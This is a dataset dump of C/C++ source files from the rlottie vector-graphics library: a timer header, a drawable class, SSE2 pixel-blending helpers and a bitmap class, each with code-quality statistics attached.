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|---|---|---|---|---|---|---|---|---|---|---|---|
0015/esp_rlottie
|
rlottie/src/vector/velapsedtimer.h
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef VELAPSEDTIMER_H
#define VELAPSEDTIMER_H
#include <chrono>
#include "vglobal.h"
class VElapsedTimer {
public:
double elapsed() const;
bool hasExpired(double millsec);
void start();
double restart();
inline bool isValid() const { return m_valid; }
private:
std::chrono::high_resolution_clock::time_point clock;
bool m_valid{false};
};
#endif // VELAPSEDTIMER_H
| 1,615
|
velapsedtimer
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 221, "qsc_code_num_chars": 1615.0, "qsc_code_mean_word_length": 5.23076923, "qsc_code_frac_words_unique": 0.58823529, "qsc_code_frac_chars_top_2grams": 0.07612457, "qsc_code_frac_chars_top_3grams": 0.02249135, "qsc_code_frac_chars_top_4grams": 0.0, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00315706, "qsc_code_frac_chars_whitespace": 0.21547988, "qsc_code_size_file_byte": 1615.0, "qsc_code_num_lines": 41.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 39.3902439, "qsc_code_frac_chars_alphabet": 0.90923441, "qsc_code_frac_chars_comments": 0.72260062, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.02008929, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.3125, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.5, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 1, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vdrawable.cpp
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include "vdrawable.h"
#include "vdasher.h"
#include "vraster.h"
VDrawable::VDrawable(VDrawable::Type type)
{
setType(type);
}
VDrawable::~VDrawable() noexcept
{
if (mStrokeInfo) {
if (mType == Type::StrokeWithDash) {
delete static_cast<StrokeWithDashInfo *>(mStrokeInfo);
} else {
delete mStrokeInfo;
}
}
}
void VDrawable::setType(VDrawable::Type type)
{
mType = type;
if (mType == VDrawable::Type::Stroke) {
mStrokeInfo = new StrokeInfo();
} else if (mType == VDrawable::Type::StrokeWithDash) {
mStrokeInfo = new StrokeWithDashInfo();
}
}
void VDrawable::applyDashOp()
{
if (mStrokeInfo && (mType == Type::StrokeWithDash)) {
auto obj = static_cast<StrokeWithDashInfo *>(mStrokeInfo);
if (!obj->mDash.empty()) {
VDasher dasher(obj->mDash.data(), obj->mDash.size());
mPath.clone(dasher.dashed(mPath));
}
}
}
void VDrawable::preprocess(const VRect &clip)
{
if (mFlag & (DirtyState::Path)) {
if (mType == Type::Fill) {
mRasterizer.rasterize(std::move(mPath), mFillRule, clip);
} else {
applyDashOp();
mRasterizer.rasterize(std::move(mPath), mStrokeInfo->cap, mStrokeInfo->join,
mStrokeInfo->width, mStrokeInfo->miterLimit, clip);
}
mPath = {};
mFlag &= ~DirtyFlag(DirtyState::Path);
}
}
VRle VDrawable::rle()
{
return mRasterizer.rle();
}
void VDrawable::setStrokeInfo(CapStyle cap, JoinStyle join, float miterLimit,
float strokeWidth)
{
assert(mStrokeInfo);
if ((mStrokeInfo->cap == cap) && (mStrokeInfo->join == join) &&
vCompare(mStrokeInfo->miterLimit, miterLimit) &&
vCompare(mStrokeInfo->width, strokeWidth))
return;
mStrokeInfo->cap = cap;
mStrokeInfo->join = join;
mStrokeInfo->miterLimit = miterLimit;
mStrokeInfo->width = strokeWidth;
mFlag |= DirtyState::Path;
}
void VDrawable::setDashInfo(std::vector<float> &dashInfo)
{
assert(mStrokeInfo);
assert(mType == VDrawable::Type::StrokeWithDash);
auto obj = static_cast<StrokeWithDashInfo *>(mStrokeInfo);
bool hasChanged = false;
if (obj->mDash.size() == dashInfo.size()) {
for (uint32_t i = 0; i < dashInfo.size(); ++i) {
if (!vCompare(obj->mDash[i], dashInfo[i])) {
hasChanged = true;
break;
}
}
} else {
hasChanged = true;
}
if (!hasChanged) return;
obj->mDash = dashInfo;
mFlag |= DirtyState::Path;
}
void VDrawable::setPath(const VPath &path)
{
mPath = path;
mFlag |= DirtyState::Path;
}
| 3,895
|
vdrawable
|
cpp
|
en
|
cpp
|
code
|
{"qsc_code_num_words": 425, "qsc_code_num_chars": 3895.0, "qsc_code_mean_word_length": 5.84705882, "qsc_code_frac_words_unique": 0.40470588, "qsc_code_frac_chars_top_2grams": 0.03541247, "qsc_code_frac_chars_top_3grams": 0.0305835, "qsc_code_frac_chars_top_4grams": 0.04708249, "qsc_code_frac_chars_dupe_5grams": 0.13199195, "qsc_code_frac_chars_dupe_6grams": 0.0804829, "qsc_code_frac_chars_dupe_7grams": 0.05150905, "qsc_code_frac_chars_dupe_8grams": 0.05150905, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0023761, "qsc_code_frac_chars_whitespace": 0.2436457, "qsc_code_size_file_byte": 3895.0, "qsc_code_num_lines": 130.0, "qsc_code_num_chars_line_max": 89.0, "qsc_code_num_chars_line_mean": 29.96153846, "qsc_code_frac_chars_alphabet": 0.84114053, "qsc_code_frac_chars_comments": 0.29473684, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.12903226, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01055697, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.03225806, "qsc_codecpp_frac_lines_preprocessor_directives": 0.03225806, "qsc_codecpp_frac_lines_func_ratio": 0.03225806, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.07526882, "qsc_codecpp_frac_lines_print": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vdrawhelper_sse2.cpp
|
#if defined(__SSE2__)
#include <cstring>
#include <emmintrin.h> /* for SSE2 intrinsics */
#include <xmmintrin.h> /* for _mm_shuffle_pi16 and _MM_SHUFFLE */
#include "vdrawhelper.h"
// Each 32bits components of alphaChannel must be in the form 0x00AA00AA
inline static __m128i v4_byte_mul_sse2(__m128i c, __m128i a)
{
const __m128i ag_mask = _mm_set1_epi32(0xFF00FF00);
const __m128i rb_mask = _mm_set1_epi32(0x00FF00FF);
/* for AG */
__m128i v_ag = _mm_and_si128(ag_mask, c);
v_ag = _mm_srli_epi32(v_ag, 8);
v_ag = _mm_mullo_epi16(a, v_ag);
v_ag = _mm_and_si128(ag_mask, v_ag);
/* for RB */
__m128i v_rb = _mm_and_si128(rb_mask, c);
v_rb = _mm_mullo_epi16(a, v_rb);
v_rb = _mm_srli_epi32(v_rb, 8);
v_rb = _mm_and_si128(rb_mask, v_rb);
/* combine */
return _mm_add_epi32(v_ag, v_rb);
}
static inline __m128i v4_interpolate_color_sse2(__m128i a, __m128i c0,
__m128i c1)
{
const __m128i rb_mask = _mm_set1_epi32(0xFF00FF00);
const __m128i zero = _mm_setzero_si128();
__m128i a_l = a;
__m128i a_h = a;
a_l = _mm_unpacklo_epi16(a_l, a_l);
a_h = _mm_unpackhi_epi16(a_h, a_h);
__m128i a_t = _mm_slli_epi64(a_l, 32);
__m128i a_t0 = _mm_slli_epi64(a_h, 32);
a_l = _mm_add_epi32(a_l, a_t);
a_h = _mm_add_epi32(a_h, a_t0);
__m128i c0_l = c0;
__m128i c0_h = c0;
c0_l = _mm_unpacklo_epi8(c0_l, zero);
c0_h = _mm_unpackhi_epi8(c0_h, zero);
__m128i c1_l = c1;
__m128i c1_h = c1;
c1_l = _mm_unpacklo_epi8(c1_l, zero);
c1_h = _mm_unpackhi_epi8(c1_h, zero);
__m128i cl_sub = _mm_sub_epi16(c0_l, c1_l);
__m128i ch_sub = _mm_sub_epi16(c0_h, c1_h);
cl_sub = _mm_mullo_epi16(cl_sub, a_l);
ch_sub = _mm_mullo_epi16(ch_sub, a_h);
__m128i c1ls = _mm_slli_epi16(c1_l, 8);
__m128i c1hs = _mm_slli_epi16(c1_h, 8);
cl_sub = _mm_add_epi16(cl_sub, c1ls);
ch_sub = _mm_add_epi16(ch_sub, c1hs);
cl_sub = _mm_and_si128(cl_sub, rb_mask);
ch_sub = _mm_and_si128(ch_sub, rb_mask);
cl_sub = _mm_srli_epi64(cl_sub, 8);
ch_sub = _mm_srli_epi64(ch_sub, 8);
cl_sub = _mm_packus_epi16(cl_sub, cl_sub);
ch_sub = _mm_packus_epi16(ch_sub, ch_sub);
return (__m128i)_mm_shuffle_ps((__m128)cl_sub, (__m128)ch_sub, 0x44);
}
// Load src and dest vector
#define V4_FETCH_SRC_DEST \
__m128i v_src = _mm_loadu_si128((__m128i*)src); \
__m128i v_dest = _mm_load_si128((__m128i*)dest);
#define V4_FETCH_SRC __m128i v_src = _mm_loadu_si128((__m128i*)src);
#define V4_STORE_DEST _mm_store_si128((__m128i*)dest, v_src);
#define V4_SRC_DEST_LEN_INC \
dest += 4; \
src += 4; \
length -= 4;
// Multiply src color with const_alpha
#define V4_ALPHA_MULTIPLY v_src = v4_byte_mul_sse2(v_src, v_alpha);
// dest = src + dest * sia
#define V4_COMP_OP_SRC \
v_src = v4_interpolate_color_sse2(v_alpha, v_src, v_dest);
#define LOOP_ALIGNED_U1_A4(DEST, LENGTH, UOP, A4OP) \
{ \
while ((uintptr_t)DEST & 0xF && LENGTH) \
UOP \
\
while (LENGTH) \
{ \
switch (LENGTH) { \
case 3: \
case 2: \
case 1: \
UOP break; \
default: \
A4OP break; \
} \
} \
}
void memfill32(uint32_t* dest, uint32_t value, int length)
{
__m128i vector_data = _mm_set_epi32(value, value, value, value);
// run till memory alligned to 16byte memory
while (length && ((uintptr_t)dest & 0xf)) {
*dest++ = value;
length--;
}
while (length >= 32) {
_mm_store_si128((__m128i*)(dest), vector_data);
_mm_store_si128((__m128i*)(dest + 4), vector_data);
_mm_store_si128((__m128i*)(dest + 8), vector_data);
_mm_store_si128((__m128i*)(dest + 12), vector_data);
_mm_store_si128((__m128i*)(dest + 16), vector_data);
_mm_store_si128((__m128i*)(dest + 20), vector_data);
_mm_store_si128((__m128i*)(dest + 24), vector_data);
_mm_store_si128((__m128i*)(dest + 28), vector_data);
dest += 32;
length -= 32;
}
if (length >= 16) {
_mm_store_si128((__m128i*)(dest), vector_data);
_mm_store_si128((__m128i*)(dest + 4), vector_data);
_mm_store_si128((__m128i*)(dest + 8), vector_data);
_mm_store_si128((__m128i*)(dest + 12), vector_data);
dest += 16;
length -= 16;
}
if (length >= 8) {
_mm_store_si128((__m128i*)(dest), vector_data);
_mm_store_si128((__m128i*)(dest + 4), vector_data);
dest += 8;
length -= 8;
}
if (length >= 4) {
_mm_store_si128((__m128i*)(dest), vector_data);
dest += 4;
length -= 4;
}
while (length) {
*dest++ = value;
length--;
}
}
// dest = color + (dest * alpha)
inline static void copy_helper_sse2(uint32_t* dest, int length,
uint32_t color, uint32_t alpha)
{
const __m128i v_color = _mm_set1_epi32(color);
const __m128i v_a = _mm_set1_epi16(alpha);
LOOP_ALIGNED_U1_A4(dest, length,
{ /* UOP */
*dest = color + BYTE_MUL(*dest, alpha);
dest++;
length--;
},
{ /* A4OP */
__m128i v_dest = _mm_load_si128((__m128i*)dest);
v_dest = v4_byte_mul_sse2(v_dest, v_a);
v_dest = _mm_add_epi32(v_dest, v_color);
_mm_store_si128((__m128i*)dest, v_dest);
dest += 4;
length -= 4;
})
}
static void color_Source(uint32_t* dest, int length, uint32_t color,
uint32_t const_alpha)
{
if (const_alpha == 255) {
memfill32(dest, color, length);
} else {
int ialpha;
ialpha = 255 - const_alpha;
color = BYTE_MUL(color, const_alpha);
copy_helper_sse2(dest, length, color, ialpha);
}
}
static void color_SourceOver(uint32_t* dest, int length,
uint32_t color,
uint32_t const_alpha)
{
int ialpha;
if (const_alpha != 255) color = BYTE_MUL(color, const_alpha);
ialpha = 255 - vAlpha(color);
copy_helper_sse2(dest, length, color, ialpha);
}
static void src_Source(uint32_t* dest, int length, const uint32_t* src,
uint32_t const_alpha)
{
int ialpha;
if (const_alpha == 255) {
memcpy(dest, src, length * sizeof(uint32_t));
} else {
ialpha = 255 - const_alpha;
__m128i v_alpha = _mm_set1_epi32(const_alpha);
LOOP_ALIGNED_U1_A4(dest, length,
{ /* UOP */
*dest = interpolate_pixel(*src, const_alpha,
*dest, ialpha);
dest++;
src++;
length--;
},
{/* A4OP */
V4_FETCH_SRC_DEST V4_COMP_OP_SRC V4_STORE_DEST
V4_SRC_DEST_LEN_INC})
}
}
void RenderFuncTable::sse()
{
updateColor(BlendMode::Src , color_Source);
updateColor(BlendMode::SrcOver , color_SourceOver);
updateSrc(BlendMode::Src , src_Source);
}
#endif
| 8,117
|
vdrawhelper_sse2
|
cpp
|
en
|
cpp
|
code
|
{"qsc_code_num_words": 1003, "qsc_code_num_chars": 8117.0, "qsc_code_mean_word_length": 3.72781655, "qsc_code_frac_words_unique": 0.1445663, "qsc_code_frac_chars_top_2grams": 0.05883926, "qsc_code_frac_chars_top_3grams": 0.07114202, "qsc_code_frac_chars_top_4grams": 0.07729339, "qsc_code_frac_chars_dupe_5grams": 0.37603637, "qsc_code_frac_chars_dupe_6grams": 0.34260497, "qsc_code_frac_chars_dupe_7grams": 0.30783632, "qsc_code_frac_chars_dupe_8grams": 0.21476331, "qsc_code_frac_chars_dupe_9grams": 0.18320407, "qsc_code_frac_chars_dupe_10grams": 0.13934207, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.10290392, "qsc_code_frac_chars_whitespace": 0.3678699, "qsc_code_size_file_byte": 8117.0, "qsc_code_num_lines": 261.0, "qsc_code_num_chars_line_max": 83.0, "qsc_code_num_chars_line_mean": 31.09961686, "qsc_code_frac_chars_alphabet": 0.62580394, "qsc_code_frac_chars_comments": 0.04792411, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.23232323, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00168219, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00517598, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": 0.06565657, "qsc_codecpp_frac_lines_func_ratio": 0.06060606, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.0959596, "qsc_codecpp_frac_lines_print": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vbitmap.cpp
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include "vbitmap.h"
#include <string>
#include <memory>
#include "vdrawhelper.h"
#include "vglobal.h"
V_BEGIN_NAMESPACE
void VBitmap::Impl::reset(size_t width, size_t height, VBitmap::Format format)
{
mRoData = nullptr;
mWidth = uint32_t(width);
mHeight = uint32_t(height);
mFormat = format;
mDepth = depth(format);
mStride = ((mWidth * mDepth + 31) >> 5)
<< 2; // bytes per scanline (must be multiple of 4)
mOwnData = std::make_unique<uint8_t[]>(mStride * mHeight);
}
void VBitmap::Impl::reset(uint8_t *data, size_t width, size_t height,
size_t bytesPerLine, VBitmap::Format format)
{
mRoData = data;
mWidth = uint32_t(width);
mHeight = uint32_t(height);
mStride = uint32_t(bytesPerLine);
mFormat = format;
mDepth = depth(format);
mOwnData = nullptr;
}
uint8_t VBitmap::Impl::depth(VBitmap::Format format)
{
uint8_t depth = 1;
switch (format) {
case VBitmap::Format::Alpha8:
depth = 8;
break;
case VBitmap::Format::ARGB32:
case VBitmap::Format::ARGB32_Premultiplied:
depth = 32;
break;
default:
break;
}
return depth;
}
void VBitmap::Impl::fill(uint32_t /*pixel*/)
{
//@TODO
}
void VBitmap::Impl::updateLuma()
{
if (mFormat != VBitmap::Format::ARGB32_Premultiplied) return;
auto dataPtr = data();
for (uint32_t col = 0; col < mHeight; col++) {
uint32_t *pixel = (uint32_t *)(dataPtr + mStride * col);
for (uint32_t row = 0; row < mWidth; row++) {
int alpha = vAlpha(*pixel);
if (alpha == 0) {
pixel++;
continue;
}
int red = vRed(*pixel);
int green = vGreen(*pixel);
int blue = vBlue(*pixel);
if (alpha != 255) {
// un multiply
red = (red * 255) / alpha;
green = (green * 255) / alpha;
blue = (blue * 255) / alpha;
}
int luminosity = int(0.299f * red + 0.587f * green + 0.114f * blue);
*pixel = luminosity << 24;
pixel++;
}
}
}
VBitmap::VBitmap(size_t width, size_t height, VBitmap::Format format)
{
if (width <= 0 || height <= 0 || format == Format::Invalid) return;
mImpl = rc_ptr<Impl>(width, height, format);
}
VBitmap::VBitmap(uint8_t *data, size_t width, size_t height,
size_t bytesPerLine, VBitmap::Format format)
{
if (!data || width <= 0 || height <= 0 || bytesPerLine <= 0 ||
format == Format::Invalid)
return;
mImpl = rc_ptr<Impl>(data, width, height, bytesPerLine, format);
}
void VBitmap::reset(uint8_t *data, size_t w, size_t h, size_t bytesPerLine,
VBitmap::Format format)
{
if (mImpl) {
mImpl->reset(data, w, h, bytesPerLine, format);
} else {
mImpl = rc_ptr<Impl>(data, w, h, bytesPerLine, format);
}
}
void VBitmap::reset(size_t w, size_t h, VBitmap::Format format)
{
if (mImpl) {
if (w == mImpl->width() && h == mImpl->height() &&
format == mImpl->format()) {
return;
}
mImpl->reset(w, h, format);
} else {
mImpl = rc_ptr<Impl>(w, h, format);
}
}
size_t VBitmap::stride() const
{
return mImpl ? mImpl->stride() : 0;
}
size_t VBitmap::width() const
{
return mImpl ? mImpl->width() : 0;
}
size_t VBitmap::height() const
{
return mImpl ? mImpl->height() : 0;
}
size_t VBitmap::depth() const
{
return mImpl ? mImpl->mDepth : 0;
}
uint8_t *VBitmap::data()
{
return mImpl ? mImpl->data() : nullptr;
}
uint8_t *VBitmap::data() const
{
return mImpl ? mImpl->data() : nullptr;
}
VRect VBitmap::rect() const
{
return mImpl ? mImpl->rect() : VRect();
}
VSize VBitmap::size() const
{
return mImpl ? mImpl->size() : VSize();
}
bool VBitmap::valid() const
{
return mImpl;
}
VBitmap::Format VBitmap::format() const
{
return mImpl ? mImpl->format() : VBitmap::Format::Invalid;
}
void VBitmap::fill(uint32_t pixel)
{
if (mImpl) mImpl->fill(pixel);
}
/*
* This is special function which converts
* RGB value to Luminosity and stores it in
* the Alpha component of the pixel.
* After this conversion the bitmap data is no more
* in RGB space. but the Alpha component contains the
* Luminosity value of the pixel in HSL color space.
* NOTE: this api has its own special usecase
* make sure you know what you are doing before using
* this api.
*/
void VBitmap::updateLuma()
{
if (mImpl) mImpl->updateLuma();
}
V_END_NAMESPACE
| 5,772
|
vbitmap
|
cpp
|
en
|
cpp
|
code
|
{"qsc_code_num_words": 739, "qsc_code_num_chars": 5772.0, "qsc_code_mean_word_length": 4.77537212, "qsc_code_frac_words_unique": 0.30446549, "qsc_code_frac_chars_top_2grams": 0.02691981, "qsc_code_frac_chars_top_3grams": 0.04080476, "qsc_code_frac_chars_top_4grams": 0.04760555, "qsc_code_frac_chars_dupe_5grams": 0.2091244, "qsc_code_frac_chars_dupe_6grams": 0.14224993, "qsc_code_frac_chars_dupe_7grams": 0.11618022, "qsc_code_frac_chars_dupe_8grams": 0.10484557, "qsc_code_frac_chars_dupe_9grams": 0.08330972, "qsc_code_frac_chars_dupe_10grams": 0.0379711, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02055594, "qsc_code_frac_chars_whitespace": 0.25831601, "qsc_code_size_file_byte": 5772.0, "qsc_code_num_lines": 219.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 26.35616438, "qsc_code_frac_chars_alphabet": 0.80378416, "qsc_code_frac_chars_comments": 0.28222453, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.1483871, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0074825, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.00456621, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": 0.03225806, "qsc_codecpp_frac_lines_func_ratio": 0.0, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.05806452, "qsc_codecpp_frac_lines_print": 0.0}
|
1
|
